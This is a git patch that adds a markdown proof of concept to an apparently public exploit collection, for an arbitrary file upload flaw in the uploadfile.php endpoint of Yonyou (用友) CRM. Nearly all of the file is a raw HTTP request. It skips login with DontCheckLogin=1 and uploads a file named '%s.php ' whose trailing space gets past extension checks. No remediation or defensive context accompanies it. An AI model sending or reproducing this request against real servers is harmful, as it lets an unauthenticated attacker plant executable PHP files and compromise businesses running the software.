From 9c71dcd405e855e1ded8def83d1c2d91215bf5a5 Mon Sep 17 00:00:00 2001 From: wy876 <139549762+wy876@users.noreply.github.com> Date: Sat, 18 May 2024 19:38:53 +0800 Subject: [PATCH] =?UTF-8?q?Create=20=E7=94=A8=E5=8F=8BCRM=E7=B3=BB?= =?UTF-8?q?=E7=BB=9Fuploadfile.php=E6=8E=A5=E5=8F=A3=E5=AD=98=E5=9C=A8?= =?UTF-8?q?=E4=BB=BB=E6=84=8F=E6=96=87=E4=BB=B6=E4=B8=8A=E4=BC=A0.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...CRM系统uploadfile.php接口存在任意文件上传.md | 27 +++++++++++++++++++ 1 file changed, 27 insertions(+) create mode 100644 用友CRM系统uploadfile.php接口存在任意文件上传.md diff --git a/用友CRM系统uploadfile.php接口存在任意文件上传.md b/用友CRM系统uploadfile.php接口存在任意文件上传.md new file mode 100644 index 0000000..87f4c49 --- /dev/null +++ b/用友CRM系统uploadfile.php接口存在任意文件上传.md @@ -0,0 +1,27 @@ +## 用友CRM系统uploadfile.php接口存在任意文件上传 + +## poc +``` +POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1 +Host: +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 +Connection: close +Content-Length: 358 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 +Accept-Encoding: gzip, deflate +Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 +Content-Type: multipart/form-data; boundary=---------------------------269520967239406871642430066855 + +-----------------------------269520967239406871642430066855 +Content-Disposition: form-data; name="file"; filename="%s.php " +Content-Type: application/octet-stream + +test123 +-----------------------------269520967239406871642430066855 +Content-Disposition: form-data; name="upload" + +upload +-----------------------------269520967239406871642430066855-- +``` + +![image](https://github.com/wy876/POC/assets/139549762/195b7dfb-918c-448c-b774-8d141f14a29e)